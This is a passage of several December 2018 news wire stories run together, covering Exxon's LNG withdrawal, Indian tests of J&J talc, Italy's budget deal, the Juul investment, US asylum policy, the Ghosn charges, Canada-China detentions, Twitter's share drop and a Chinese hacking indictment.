Shell-led project in British Columbia, and Exxon's focus on LNG projects in Asia, the Middle East and the United States. Global LNG demand is expected to double to 550 million tonnes per annum (mtpa) by 2030, as countries like China move away from coal to cleaner fuels. The top import market for LNG is northeast Asia. Exxon's West Coast Canada (WCC) LNG export project, located in northern British Columbia, was expected to produce around 15 million tonnes per year of LNG to serve Asian buyers, with plans for further expansion up to 30 million tonnes per year. The project was being jointly reviewed by the province and Canadian environmental regulators, an assessment that had been underway since 2015, though no major documents have been filed since 2016. Exxon formally withdrew from the process in a Dec. 5 letter to the British Columbia Environmental Assessment Office, posted on the regulator's website. "After careful review, ExxonMobil and Imperial (Oil Resources Ltd) have withdrawn the WCC LNG project from the environmental assessment process," a spokeswoman for ExxonMobil confirmed in an email. Exxon's decision signaled it is concentrating on LNG projects with Qatar Petroleum [QATPE.UL] and a proposed expansion of its chilled-gas operation in Papua New Guinea, said Jason Feer, head of business intelligence at Poten & Partners, LNG tanker brokers and consultants. "They have got a pretty robust pipeline of liquefaction projects globally. It would be natural to review that and see which would be competitive," he said. Exxon has been "taking advantage of opportunities as they become available to invest, restructure or divest assets to strengthen our long-term competitive position and provide the highest return to shareholders," said spokeswoman Julie King. LNG demand is growing but environmental groups say exports will boost carbon emissions in Canada, both through gas extraction and the liquefaction process. Story continues The WCC LNG export project planned to have liquefaction and storage facilities for natural gas, loading facilities and a third-party pipeline. Exxon's shares were off 3.12 percent at $68.57 apiece, the lowest since August 2015. (Reporting by Ekaterina Kravtsova in London; Additional reporting by Gary McWilliams in Houston and Julie Gordon in Vancouver; Editing by Jeffrey Benkoe and James Dalgleish) FILE PHOTO: Security guards stand outside the office of Johnson & Johnson in Mumbai, India, August 29, 2018. REUTERS/Danish Siddiqui By Rahul Singh, Aditya Kalra and Krishna N. Das NEW DELHI (Reuters) - Indian drug authorities visited some of Johnson & Johnson's (JNJ.N) facilities on Wednesday and took "tests and samples" of its talcum powder, the company said in a statement. The visits came as regulators in India launched an investigation into J&J's Baby Powder following a Reuters report last Friday that the firm knew for decades that cancer-causing asbestos could be found in the product. The company told Reuters in a statement that the facilities were visited by the Central Drugs Standard Control Organization (CDSCO) and some state-based food and drug administrations (FDAs). "Today, a few of our facilities were visited by the CDSCO and local FDA authorities and we are fully co-operating with them by providing tests and samples," the J&J statement said. "The characterization of these visits as 'raids' or 'seizures' is incorrect as has been reported in some instances," it said. "The tests have been conducted in the regular way that the FDA collects samples." J&J added that the safety of its cosmetic talc was based on a long history of safe use and decades of research and clinical evidence by independent researchers and scientific review boards across the world. It also said Indian FDAs and the CDSCO have in the past confirmed that its products "comply with Indian standards and are free of asbestos". Quoting an industry source with knowledge of the matter, Reuters reported earlier in the day that drug inspectors had taken samples of Baby Powder from its Baddi factory in the northern Indian state of Himachal Pradesh. A source at the CDSCO said its officials lifted samples for testing from nine Indian cities - Mumbai, Chennai, Kolkata, Ahmedabad, Hyderabad, Bengaluru, Indore, Chandigarh and Ghaziabad. J&J did not immediately specify how many manufacturing plants the company has in India. A CDSCO spokeswoman did not respond to a request for comment. Surendranath Sai, a regional drug officer in the southern state of Telangana, on Wednesday said he would instruct inspectors to collect samples there. Story continues "On the basis of the news report, we are alerting staff to pick up samples. We will test them in a drug control lab here," said Sai. "We will take action accordingly. Certainly we are worried because millions of babies may be affected." Earlier, the Times of India quoted an official source as saying 100 drug inspectors had been assigned to examine different manufacturing facilities, wholesalers and distributors linked to J&J India, starting early on Wednesday. A health ministry spokeswoman declined to comment when contacted by Reuters. However, a senior official at the ministry said the report was worrying. "We are concerned about it and will take action," the official told Reuters, declining to be identified due to the matter's sensitivity. The official did not elaborate on what kind of action the ministry could take. A Reuters examination of company memos, internal reports and other confidential documents, as well as deposition and trial testimony, showed that from at least 1971 to the early 2000s, J&J's raw talc and finished powders sometimes tested positive for small amounts of asbestos. It also showed that company executives, mine managers, scientists, doctors and lawyers fretted over how to address the problem while failing to disclose it to regulators or the public. The documents also depicted successful efforts to influence U.S. regulators' plans regarding limiting asbestos in cosmetic talc products and scientific research on talc's health effects. J&J said on Monday it planned to buy back up to $5 billion of its stock, after $40 billion was wiped from its market value following the Reuters report. (Reporting by Rahul Singh, Aditya Kalra and Krishna N. Das; Editing by Sanjeev Miglani, Christopher Cushing and Jan Harvey) NEW DELHI (Reuters) - India's federal drug regulator will on Wednesday seize samples of Johnson & Johnson's baby powder for testing, local media said, following a Reuters report that the company knew for decades that cancer-causing asbestos lurked in the product. The Times of India quoted an official source as saying that a team of 100 drug inspectors had been assigned to examine different manufacturing facilities, wholesalers and distributors, starting early Wednesday. "Samples of all brands of the powder will be collected and sent for testing," the unnamed official told the paper. The Mint business daily also quoted an unnamed official as saying that the drug inspectors would visit J&J's manufacturing operations and draw samples for further investigation. On Tuesday, a spokeswoman for the Central Drugs Standard Control Organization (CDSCO) said the Reuters report was "under consideration" but that it was too early to say if a formal investigation would be launched into the baby powder that is ubiquitous in many Indian homes, a potential market of 1.3 billion people. The CDSCO spokeswoman did not immediately respond to a request for comment on Wednesday. An Indian health ministry spokeswoman declined to comment. J&J in India did not have any immediate comment on the reports of sample seizures by Indian authorities. On Tuesday the company said in a statement that the Reuters article, which was published on Friday, "is one-sided, false and inflammatory". "Johnson & Johnson's baby powder is safe and asbestos free," it added. "Studies of more than 100,000 men and women show that talc does not cause cancer or asbestos-related disease. Thousands of independent tests by regulators and the world's leading labs prove our baby powder has never contained asbestos," the company said. A Reuters examination of many company memos, internal reports and other confidential documents, as well as deposition and trial testimony, showed that from at least 1971 to the early 2000s, the company's raw talc and finished powders sometimes tested positive for small amounts of asbestos, and that company executives, mine managers, scientists, doctors and lawyers fretted over the problem and how to address it while failing to disclose it to regulators or the public. Story continues The documents also depicted successful efforts to influence U.S. regulators' plans to limit asbestos in cosmetic talc products and scientific research on the health effects of talc. J&J said on Monday it planned to buy back up to $5 billion of its stock, after the Reuters report wiped about $40 billion from its market value. (Reporting by Rahul Singh and Krishna N. Das; Editing by Christopher Cushing) Italy's government said last week that it would lower its deficit target for next year to 2.04 percent, down from an original target of 2.4 percent. Reports that a deal with the Commission could be imminent gave Italian financial markets a boost Wednesday morning. Italy and the European Commission, the EU's executive arm, have announced a new budget deal after weeks of wrangling over the country's 2019 spending plans. Italy's government said last week that it would lower its deficit target for next year to 2.04 percent, down from an original target of 2.4 percent. The target was confirmed by the Commision on Wednesday. "The Italian government has come a long way, only a few weeks ago there was confrontational rhetoric," the European Commission's Vice President Valdis Dombrovskis said Wednesday, meaning that the Commission can avoid launching disciplinary measures against Italy, he told reporters. "The solution is not ideal but it allows us to avoid an 'Excessive Deficit Procedure' at this stage One important positive element is that the new budget is based on a plausible economic scenario," he said. "Credible and sustainable budgetary policies cannot be planned on over-optimistic forecasts," he added, alluding to Italy's original draft budget. Although Italy has made revisions to its spending plans, Dombrovskis stressed that the composition of the spending still raised concerns, particularly the main expansionary measures the citizens' income and rollback of pensions reforms (including lowering the retirement age). "When these measures will fully come into force they will result in higher costs for the years to come. In 2020 and 2021, Italy intends to compensate the costs by raising value-added tax (VAT). However, we know that in the past Italy has not activated this kind of safeguard. If this happens again large resources will need to be found elsewhere." Story continues The new measures also contain higher taxes on companies and cuts in planned investments, Dombrovskis added, which he said "are not growth-friendly steps, however these could be offset by better use of available EU structural funds." Tweet Italian markets rise Reports that a deal with the Commission could be imminent gave Italian financial markets a boost Wednesday morning and that rally continued after it was confirmed. Italy's FTSE MIB was trading 1.9 percent higher Wednesday late morning with its bank stocks up 3.6 percent. Meanwhile, the yields on all its short-term (two, five and 10-year) bonds fell with the yield on Italy's benchmark 10-year government bond at 2.8 percent Wednesday. The deal comes after an impasse between Italy's coalition government, made up of the right-wing Lega party and anti-establishment Five Star Movement (M5S), and the European Commission over the country's controversial 2019 spending plans . Italy got into trouble with the Commission because its budget had envisaged increased spending and lower taxation in order to fulfill key election promises, including the introduction of a basic income (called a "citizen's income") for the poor, a lower retirement age and a proposed flat tax rate. These plans would have meant that Italy's budget deficit (the amount by which its spending exceeds its revenues) would have hit 2.4 percent in 2019. While this is within the official EU limit of 3 percent, Brussels rejected the budget because it goes against EU rules which say that states should work towards lowering their budget deficits (Italy's previous government had already agreed to a lower budget deficit of 0.8 percent) and debt piles (Italy has the second highest debt pile in the euro zone of 133 percent of GDP). Italy's deputy prime ministers, the leaders of Lega and M5S, had appeared unrepentant about the budget while Economy Minister Giovanni Tria and Prime Minister Giuseppe Conte were more malleable to changes. More From CNBC (Bloomberg) -- Juul Labs Inc. founders Adam Bowen and James Monsees became the first e-cigarette billionaires after Altria Group Inc. has acquired about a third of their company. Altria announced Thursday that it invested $12.8 billion in Juul, valuing the firm at roughly $38 billion. Assuming the transaction dilutes the holdings of current shareholders, the founders each own stakes of 3.6 percent, or $1.36 billion apiece, according to the Bloomberg Billionaires Index. Bowen, 43, and Monsees, 38, each controlled 5.6 percent of Juul after a July funding round that valued each of their holdings at $843 million. The deal makes San Francisco-based Juul more valuable than Airbnb Inc. and Elon Musks SpaceX. This is a disruptive technology and it shows where consumers want to go, said Ken Shea, a Bloomberg Intelligence analyst. Its growing so fast that the cigarette companies like Altria need to look at a way to mitigate not only cigarette use but also think for the future. Bowen and Monsees came up with their big idea while pursuing masters degrees at Stanford University and founded Ploom in 2007. They sold the name to Japan Tobacco Inc. eight years later and renamed their company Pax Labs Inc. Around the same time, the pair introduced a USB-shaped e-cigarette and called it the Juul. Last year, Juul was spun out from Pax and has gone on to dominate the market. --With assistance from Tom Maloney, Olivia Zaleski and Michael Hytha. To contact the reporter on this story: Sophie Alexander in New York at salexander82@bloomberg.net To contact the editors responsible for this story: Pierre Paulden at ppaulden@bloomberg.net, Peter Eichenbaum, Steven Crabill For more articles like this, please visit us at bloomberg.com 2018 Bloomberg L.P. WASHINGTON (AP) People seeking asylum at the U.S. border with Mexico will no longer be released in the United States and will instead be forced to wait in Mexico under a policy announced Thursday that marks one of the most significant moves by President Donald Trump to reshape the immigration system. The measure is an aggressive response to a large and growing number of Central American asylum seekers, many of them families, who are typically released in the United States while their cases slowly wind through clogged immigration courts. It does not apply to children traveling alone or to Mexican asylum seekers. The U.S. and Mexican governments called it a unilateral move by the Trump administration, but the announcement came two days after the U.S. pledged $10.6 billion in aid for Central America and southern Mexico to make people feel less compelled to leave. Critics, including some legal experts, said migrants would be unsafe in some Mexican border towns and said the U.S. was illegally abandoning its humanitarian role, hinting at a legal challenge against a backdrop of previous courtroom setbacks for Trump on immigration. The government of Mexican President Andres Manuel Lopez Obrador, who took office Dec. 1, said foreigners will have temporary permission to remain in Mexico on humanitarian grounds after getting a notice to appear in U.S. immigration court and they will be allowed to seek work authorization. Asylum seekers who pass an initial screening in the U.S. about three of four do typically wait years before their cases are resolved, allowing them to put down roots in the U.S. Many are fitted with electronic ankle monitors. Administration officials say many are gaming the system and making false claims as a way to stay in the U.S. While most pass their initial screening, only about 9 percent are eventually granted asylum. "They will not be able to disappear into the United States," Homeland Security Secretary Kirstjen Nielsen told the House Judiciary Committee. "They will have to wait for approval. If they are granted asylum by a U.S. judge, they will be welcomed into America. If they are not, they will be removed to their home countries." Story continues Nielsen said in a statement that the move "will also allow us to focus more attention on those who are actually fleeing persecution." While the number of people caught crossing the border illegally has fallen sharply since the early 2000s, the U.S. has been grappling in recent years with a surge of families and children traveling alone, especially from Guatemala, Honduras and El Salvador. U.S. border authorities fielded 92,959 "credible fear" claims the initial step toward asylum in the fiscal year that ended Sept. 30, up 67 percent from 55,584 the previous year. U.S. officials said the changes will be rolled out gradually across the border. Many details have not been worked out or have not been disclosed. U.S. officials said the Mexican government will allow asylum seekers access to U.S. immigration lawyers, but it was unclear where attorneys and their clients would meet. They would be allowed into the U.S. for their court hearings. Mexico's Foreign Relations Department said foreigners will be allowed to leave the country and return while waiting for the U.S. to decide their asylum cases. "They will have rights to equal treatment without discrimination and respect for their human rights as well the opportunity to seek work authorization for pay, which will allow them to meet their basic needs," the department said in a statement. Forcing thousands of asylum seekers to remain in Mexico, possibly for years, will put many of them in life-threatening danger, said Jennifer Harbury, a South Texas attorney and human rights advocate. Some parts of northern Mexico, particularly across from Texas, are considered very dangerous due to violence and drug trafficking. The U.S. State Department has warned American citizens not to travel to the Mexican state of Tamaulipas, which borders the Texas cities of McAllen and Brownsville. "Giving them food or work authorization does not protect them from the cartels or the war zone that they would be sent to," Harbury said. "If Mexico could protect them, they would be protecting their own citizens, and they can't." Immigrant advocates questioned the legality of the move. "This deal is a stark violation of international law, flies in the face of U.S. laws passed by Congress and is a callous response to the families and individuals running for their lives," said Margaret Huang, executive director of Amnesty International. "The end result could be the endangerment of thousands of families and individuals seeking protection." American Civil Liberties Union attorney Lee Gelernt, who won major legal victories against the administration's policies on asylum and its practice of separating families, said the plan could not be done lawfully. Last month, Trump invoked national security powers to deny asylum to anyone caught crossing illegally, but a judge halted that change as a lawsuit progresses. A separate judge also halted restrictions on who could claim asylum, allowing victims of domestic violence and gang violence to once again make the claim. Thursday's decision marks the latest in an unusual relationship between Lopez Obrador, a leftist and nationalist, and Trump. Discussions between the two countries began well before Lopez Obrador took office. Trump credited Lopez Obrador for helping push forward free trade negotiations, and Lopez Obrador praised the United States for the $10.6 billion development deal. Experts in Mexico doubted whether Lopez Obrador would face any significant backlash. "These are not humiliating concessions, they're quite reasonable," said Federico Estevez, a political science professor at the Autonomous Technological Institute of Mexico. "Lopez Obrador may absorb a cost, but it's relatively small price to get your neck out of the noose on the immigration issue." Estevez noted that some anti-migrant sentiment had sprung up on the northern border, especially in Tijuana, where the caravans have been marooned. "I don't think you can find on the Mexican side much of a coherent stance against these concessions," Estevez said. "I don't think you have a very strong constituency on this side" in favor of the Central American migrants. ___ Stevenson reported from Mexico City. Associated Press writers Nomaan Merchant in Houston and Amy Taxin in Santa Ana, California, contributed to this report. We often see insiders buying up shares in companies that perform well over the long term. Unfortunately, there are also plenty of examples of share prices declining precipitously after insiders have sold shares. So before you buy or sell Life Storage, Inc. (NYSE:LSI), you may well want to know whether insiders have been buying or selling. What Is Insider Buying? It is perfectly legal for company insiders, including board members, to buy and sell stock in a company. However, rules govern insider transactions, and certain disclosures are required. Insider transactions are not the most important thing when it comes to long-term investing. But equally, we would consider it foolish to ignore insider transactions altogether. For example, a Colombia University study found that insiders are more likely to engage in open market purchases of their own companys stock when the firm is about to reveal new agreements with customers and suppliers. See our latest analysis for Life Storage Life Storage Insider Transactions Over The Last Year Over the last year, we can see that the biggest insider sale was by Kenneth Myszka for US$472k worth of shares, at about US$94.39 per share. That means that an insider was selling shares at below the current price (US$98.09). While their view may have changed since they sold, this isnt a particularly bullish sign. We generally consider it a negative if insiders have been selling on market, especially if they did so below the current price. Please note, however, that this single sale was just 2.8% of Kenneth Myszkas stake. Over the last year, we note insiders sold 13.66k shares worth US$1.3m. All up, insiders sold more shares in Life Storage than they bought, over the last year. The sellers received a price of around US$95.59, on average. Its not particularly great to see insiders were selling shares around current prices. While some insiders have decided to take some money off the table, we wouldnt put too much weight on this fact. You can see a visual depiction of insider transactions over the last 12 months, below. If you click on the chart, you can see all the individual transactions, including the share price, individual, and the date! Story continues NYSE:LSI Insider Trading December 19th 18 I will like Life Storage better if I see some big insider buys. While we wait, check out this free list of growing companies with considerable, recent, insider buying. Insiders at Life Storage Have Sold Stock Recently The last three months saw significant insider selling at Life Storage. In total, insiders dumped US$941k worth of shares in that time, and we didnt record any purchases whatsoever. This may suggest that some insiders think that the shares are not cheap. Does Life Storage Boast High Insider Ownership? I like to look at how many shares insiders own in a company, to help inform my view of how aligned they are with insiders. We usually like to see fairly high levels of insider ownership. Life Storage insiders own 1.6% of the company, currently worth about US$75m based on the recent share price. This kind of significant ownership by insiders does generally increase the chance that the company is run in the interest of all shareholders. What Might The Insider Transactions At Life Storage Tell Us? Insiders sold stock recently, but they havent been buying. Looking to the last twelve months, our data doesnt show any insider buying. On the plus side, Life Storage makes money, and is growing profits. Insiders own shares, but were still pretty cautious, given the history of sales. So wed only buy after careful consideration. Therefore, you should should definitely take a look at this FREE report showing analyst forecasts for Life Storage. If you would prefer to check out another company one with potentially superior financials then do not miss this free list of interesting companies, that have HIGH return on equity and low debt. To help readers see past the short term volatility of the financial market, we aim to bring you a long-term focused research analysis purely driven by fundamental data. Note that our analysis does not factor in the latest price-sensitive company announcements. The author is an independent contributor and at the time of publication had no position in the stocks mentioned. For errors that warrant correction please contact the editor at editorial-team@simplywallst.com. SALT LAKE CITY, Dec. 20, 2018 (GLOBE NEWSWIRE) -- Overstock.com, Inc. (OSTK) announced, Medici Land Governance , its blockchain subsidiary focused on land administration, has signed a Memorandum of Understanding (MOU) with Teton County, Wyoming to develop a blockchain-based land records and information platform in 2019. Medici Land Governance (MLG) and Teton County will work together to develop and implement the software needed for the county, which includes the town of Jackson, to transfer and display information from its current land and property titling system to the new blockchain-based system. The new system will utilize MLGs technologies, policies, and programs to track, record, and make available to the public certain information related to real property for management purposes. Once in place, the system will also automatically capture and record subsequent land administration transactions and updates to the blockchain. All Teton County land records going back to 1996 will be recorded on the new platform, including mortgages, release of liens, and other similar documents. Title information that is obscured for viewing on the current system will also be obscured from the blockchain-based system, but all public records will be available at the county clerks office. Our agreement with Teton County is another step toward a global economy where trust is generated through technology, said Patrick M. Byrne, Overstock.coms CEO and founder. I believe that our work in Wyoming will let us introduce blockchain-based land administration within the United States. We are delighted to establish this partnership with a regional neighbor in demonstrating the long-term practical value of emerging technologies. Teton County in Wyoming already has a well-deserved reputation for innovative approaches that serve the coordinated interests of the local community and businesses, said Medici Land Governance CEO, Ali El Husseini, PhD. Medici Land Governance and Teton County officials will collaborate to create a new blockchain platform for property registry that is digitized, secure, and user friendly. Teton County is well positioned to build upon its reputation as a model leader in community and economic development that emphasizes the best practices of emerging technologies. Story continues We are proud to see Wyoming lead the way in implementing cutting-edge technologies, such as blockchain, into existing markets like land registry, said Sherry Daigle, Teton Countys County Clerk. With Medici Land Governances expertise, we can create a reliable property registry system in Teton County with hopes to expand into other Wyoming counties. The partnership between Teton County and MLG is supported by the Wyoming Legislative Blockchain Taskforce, and by other Wyoming-based groups that have recently begun advocating for the introduction of blockchain technology to existing processes and systems on a state-wide level, including the Wyoming Blockchain Coalition . Its exciting to see Wyoming adopt blockchain technology to register and validate property ownership, said Caitlin Long, co-founder of the Wyoming Blockchain Coalition. Medici Ventures has been a big supporter of Wyomings blockchain initiatives from inception, and Im thrilled that Teton County chose Medici Ventures for this project. This is yet another example of Wyoming blazing blockchain trails. Medici Land Governance was founded in 2018 to put the power of property ownership and equity into the hands of the masses by applying blockchain and other technologies to provide low-cost, easy-to-use land administration systems. MLG is a portfolio company of Medici Ventures , Overstock.coms wholly-owned blockchain subsidiary founded in 2014 to apply blockchain technology to existing markets in order to democratize capital, eliminate middlemen, and re-humanize commerce. About Overstock.com Overstock.com, Inc Common Shares (OSTK) / Series A Preferred (Medici Ventures tZERO platform: OSTKP) / Series B Preferred (OSTBP) is an online retailer and technology company based in Salt Lake City, Utah. Its leading e-commerce website sells a broad range of new products at low prices, including furniture , decor , rugs , bedding , home improvement , jewelry, and more. The online shopping site, which is visited by nearly 40 million customers a month, also features a marketplace providing customers access to millions of products from third-party sellers. Overstock was the first major retailer to accept cryptocurrency in 2014, and in the same year founded Medici Ventures , its wholly-owned subsidiary developing and accelerating blockchain technologies to democratize capital, eliminate middlemen, and re-humanize commerce. Overstock regularly posts information about the company and other related matters on the Newsroom and Investor Relations pages on its website, Overstock.com . O, Overstock.com, O.com, Club O, Main Street Revolution, and Worldstock are registered trademarks of Overstock.com, Inc. O.biz and Space Shift are also trademarks of Overstock.com, Inc. Other service marks, trademarks and trade names which may be referred to herein are the property of their respective owners. This press release contains certain forward-looking statements within the meaning of Section 27A of the Securities Act of 1933 and Section 21E of the Securities Exchange Act of 1934. Such forward-looking statements include all statements other than statements of historical fact. Additional information regarding factors that could materially affect results and the accuracy of the forward-looking statements contained herein may be found in the Company's Form 10-Q for the quarter ended September 30, 2018, which was filed with the SEC on November 9, 2018, and any subsequent filings with the SEC. SOURCE: Overstock.com, Inc. Media Contact: pr@overstock.com Investor Contact: ir@overstock.com Photo credit: Getty Images From Car and Driver UPDATE 12/27/18: The Reuters news service is reporting that ousted Nissan chairman Carlos Ghosn paid a Saudi Arabian businessman, using what were allegedly Nissan funds, in exchange for helping him wipe away personal losses. Ghosn's representatives reportedly said the payments, which totaled $14.7 million between 2009 and 2012, were made for "legitimate business purposes," although it is entirely unclear what these payments were for or how exactly Ghosn was allegedly involved. Reuters, citing two unnamed company sources, said the Saudi, whom it named as Khaled Al Juffali, had previously arranged a letter of credit for Ghosn to help him out of a financial reverse. Japanese authorities have re-arrested Ghosn; this is his third arrest on financial charges. UPDATE 12/20/18: Carlos Ghosn was reportedly granted the possibility of posting bail, then saw the offer revoked after less than a day, the Wall Street Journal is reporting. The Tokyo District Court rejected prosecutors' request to extend his detention time, but then new charges were filed claiming he violated Japan corporate law by passing nearly $17 million in losses in 2008 to Nissan from a company he owned personally. These charges, the paper reports, are stopping him from posting bail to leave jail. The ousted Nissan chairman and his associate Greg Kelly were arrested on November 19 on financial misconduct charges and have been held in the Tokyo Detention Center. UPDATE 12/13/18: The embattled former leader of Renault, Nissan, and Mitsubishi, still in jail in Japan over financial irregularity charges from Nissan, is retaining his status as chairman and CEO at Renault. The French automaker's board of directors met today and made that announcement, stating that it finds Ghosn's compensation reports were "in compliance with applicable law" in France. Photo credit: Renault - Car and Driver Japanese prosecutors have formally charged Renault CEO Carlos Ghosn for making "false disclosures" about his income with Nissan, the automaker said on Monday. Ghosn had been Nissan and Mitsubishi chairman before his arrest in Japan in November. Now, stripped of those titles and three weeks into his detention in a Tokyo prison, he may face a 10-year sentence if convicted. Story continues The alleged crime is that Ghosn violated Japan's Financial Instruments and Exchange Act by omitting tens of millions of dollars of his income from Nissan's public filings. The automaker was swift to condemn Ghosn and came close to admitting its own share of fault as prosecutors charged the company with the same crime. "Nissan takes this situation extremely seriously," the company said in a statement. "Making false disclosures in annual securities reports greatly harms the integrity of Nissans public disclosures in the securities markets, and the company expresses its deepest regret." Nissan CEO Had Been in Ghosn's Sights for Removal In an interesting bit of timing, according to unnamed sources speaking to the Wall Street Journal Ghosn had been trying for months to remove Nissan CEO Hiroto Saikawa to "shake up the senior-management ranks" and was set to propose that the board remove Saikawa at a meeting in November. Ghosn was arrested in Tokyo on November 19. Since then, Ghosn has not been allowed bail, was initially arrested without any charges, and a court extended his prison stay while investigators questioned him. In Japan, such due process for criminal suspects is far different from what would take place under U.S. and European laws. According to the Wall Street Journal, prosecutors will pile more charges on him to "reset the clock," effectively keeping Ghosn in jail for another three weeks and possibly longer unless he confesses to their charges. Nissan may be fined the equivalent of $6.2 million for each year of affected financial statements, and Ghosn and former board director Greg Kelly each face up to 10 years in prison. At this time, prosecutors have not charged Ghosn with improper use of company assets, such as the Dutch subsidiary that Nissan has alleged he created to buy homes in Brazil and Lebanon. Ghosn, indirectly through reports in Japan's media, maintains that the unreported income was deferred until his retirement and that the amounts were not fixed. What is most perplexing is why Nissan's top accounting executives, knowing exactly how much the company paid Ghosn each year, approved his disclosed pay in securities filings over the past decade and only now have run into trouble. ('You Might Also Like',) By David Ljunggren OTTAWA (Reuters) - Canadian Prime Minister Justin Trudeau urged caution on Wednesday and said he would not be "stomping on a table" after China detained a third Canadian amid a diplomatic dispute over the arrest of a Chinese technology executive. The detentions of the Canadians - including one disclosed on Wednesday - followed the Dec. 1 arrest in Vancouver of Meng Wanzhou, chief financial officer of the Chinese telecommunications giant Huawei Technologies Co Ltd. [HWT.UL]. The arrest was made at the request of the United States, which is engaged in a trade war with China. Trudeau has been under pressure to take a more robust stand on the detentions, but said at a news conference: "Political posturing or political statements arent necessarily going to contribute. They might actually hinder Canadians release. Were going to take every situation carefully and seriously. "Canadians understand that even though political posturing might be satisfactory in the short term to make yourself ... feel like you're stomping on a table and doing something significant, it may not directly contribute to the outcome we all want, which is for these Canadians to come home safely." Trudeau said he was asking China for more information on the detentions. No details have been given on the latest, but Trudeau said it was "a very separate case" from last week when former Canadian diplomat Michael Kovrig and businessman Michael Spavor were detained amid the diplomatic quarrel triggered by Meng's arrest. The National Post newspaper said the latest detainee was a Canadian woman who was teaching English in China and was held because of "visa complications." Huawei is the worlds biggest supplier of telecoms network equipment and second-biggest smartphone seller. The United States has been looking since at least 2016 into whether Huawei shipped U.S.-origin products to Iran and other countries in violation of U.S. export and sanctions laws, Reuters reported in April. The Canadian government has said several times it saw no explicit link between the arrest of Meng, the daughter of Huaweis founder, and the detentions of Kovrig and Spavor. But Beijing-based Western diplomats and former Canadian diplomats have said they believed the detentions were a "tit-for-tat" reprisal by China. Bob Rae, Canada's special envoy to Myanmar and a former Liberal Party leader, tweeted on Wednesday that "there are no coincidences" and said the detentions looked "too much like hostage taking." An official at the Chinese Embassy in Ottawa said the embassy had no information to release on the issue. Meng is accused by the United States of misleading multinational banks about Iran-linked transactions, putting the banks at risk of violating U.S. sanctions. She was released on bail in Vancouver, where she owns two homes, while waiting to learn if she will be extradited to the United States. She is due in court on Feb. 6. U.S. President Donald Trump told Reuters last week he might intervene in the case if it would serve national security interests or help close a trade deal with China. The comments upset Canada, which warned the United States against politicizing extradition cases. Trudeau said a decision on whether to use Huawei equipment in Canada's 5G mobile network should be made by experts and not influenced by politics. BUYING TIME A source with direct knowledge of the situation said senior officials at the Canadian Foreign Ministry had held many meetings about the detainees but that a formal task force had yet to be created. "At this point, Canada is trying to buy time by stressing it has a rules-based order and an independent judiciary," said the source, who declined to be identified because of the sensitivity of the situation. A second source said Canada was concerned that the detainees were in the hands of the powerful security authorities. "Even if there were voices of reason in the Chinese system saying: 'Are you crazy? The Canadian government cannot order a judge to release Ms. Meng,' the security voices are going to trump them," the source said. Philip Calvert, a former diplomat in China and now a research fellow at the University of Victoria, said at least the first two detentions were indicative of "the way China often engages internationally in situations like this." "The people making the decisions in Beijing really think when push comes to shove, they can put pressure on Canada to override the system," he said. Flavio Volpe, president of Canada's Automotive Parts Manufacturers' Association, said on Wednesday he had spoken with a few Chinese automakers that are now delaying a decision to set up production facilities in Canada. The automakers, which Volpe declined to name, had been weighing whether to sell cars built in Canada to the North American market. The last time Canadians were detained in China for security reasons was in 2014 when Kevin and Julia Garratt, who ran a coffee shop in northeastern China, were held near the border with North Korea. She was released and left the country, while her husband was charged with spying and stealing state secrets before being released and deported two years later. The arrest of the Garratts came shortly after a Chinese businessman was picked up on a U.S. warrant in Canada. (Reporting by David Ljunggren; Additional reporting by Ben Blanchard, Philip Wen and Christian Shepherd in Beijing and Allison Martell and Anna Mehler Paperny in Toronto; Writing by Bill Trott; Editing by Alistair Bell, James Dalgleish and Peter Cooney) (Bloomberg) -- Twitter Inc. shares plummeted after Citron Research said a report by Amnesty International documenting the abuse of women on the platform shouldnt be ignored by investors. "Twitter has become the Harvey Weinstein of social media," Citron said in its report, setting a new price target of $20. "Advertisers will soon be forced to take a hard look at all sponsorships with Twitter. The shares fell as much as 13 percent to $28.51, the most since July. The broader markets also fell amid concerns of a government shutdown. Twitter has long been criticized for failing to limit harassment of women on the platform but a report earlier this week put the problem in a stark light. Amnesty International -- with Element AI, a human rights watchdog -- found that about 7 percent of the tweets that prominent women in government and journalism receive were abusive or problematic. Women of color were 34 percent more likely to be targets than white women, and black women were 84 percent more likely than white women to be mentioned in problematic tweets. Amnesty International described Twitter as a toxic place for women. Citron said that when it read the Amnesty report, we immediately knew the stock had become uninvestable. The firm said it thinks the story has just begun and advertisers will be forced to make more morality-based brand building decisions. The report comes as Twitters financial performance has steadily improved, partly as a result of the companys efforts to make the service more personalized. Citron has changed its view of Twitter several times this year. In January, Citron called 2018 "the year for" Twitter, putting a target price of $35 on the stock. In March the firm cut its near-term target and said Twitter was more vulnerable than other social media to privacy regulation. In August, Citron set a price target of $52. Its been a rough year for social media. All of the major companies have faced backlash from a myriad of issues from political manipulation of the platforms to privacy breaches. Facebook Inc. took another hit Wednesday after revelations about the sharing of user data to partner companies and a lawsuit by the District of Columbia attorney general. Story continues At the same time, tech companies have increasingly become targets of social activists and Amnesty International has turned its watchdog role -- best known for its efforts to free international political prisoners -- toward them. Recently more than 60 human rights groups, including Amnesty, demanded Google end an effort to launch a censored search engine in China. Amnesty also recently accused Google of helping the Chinese government spy on its citizens. Earlier this year Twitter said it was working with researchers on ways to measure the health of discourse on the site, using academics to develop metrics to spot incivility and intolerance. The company introduced new policies to combat harassment and unwanted sexual advances on social media site late last year. Twitter said it will immediately and permanently suspend any account that clearly harasses someone or posts nude images without the consent of the subject. To contact the reporter on this story: Selina Wang in San Francisco at swang533@bloomberg.net To contact the editors responsible for this story: Jillian Ward at jward56@bloomberg.net, Molly Schuetz, Andrew Pollack For more articles like this, please visit us at bloomberg.com 2018 Bloomberg L.P. * U.S., Britain, Australia and New Zealand criticize China * U.S. Navy, NASA, Energy Department lab hacked, U.S. says * American officials accuse China of economic aggression (Adds Breakingviews link) By Diane Bartz and Jack Stubbs WASHINGTON/LONDON, Dec 20 (Reuters) - The United States and three allies chastised China for economic espionage on Thursday, ratcheting up tensions as U.S. prosecutors indicted two Chinese nationals linked to a spy agency on charges of stealing confidential data from American government agencies and businesses around the world. Prosecutors charged Zhu Hua and Zhang Jianguo in hacking attacks against the U.S. Navy, the space agency NASA and the Energy Department and dozens of companies. The operation targeted intellectual property and corporate secrets to give Chinese companies an unfair competitive advantage, they said. Britain, Australia and New Zealand joined the United States in slamming China over what they called a global campaign of cyber-enabled commercial intellectual property theft, signaling growing global coordination against the practice. "No country poses a broader, more severe long-term threat to our nation's economy and cyber infrastructure than China," FBI Director Chris Wray said at a news conference. "China's goal, simply put, is to replace the U.S. as the world's leading superpower, and they're using illegal methods to get there." Five sources familiar with the attacks told Reuters the hackers breached the networks of 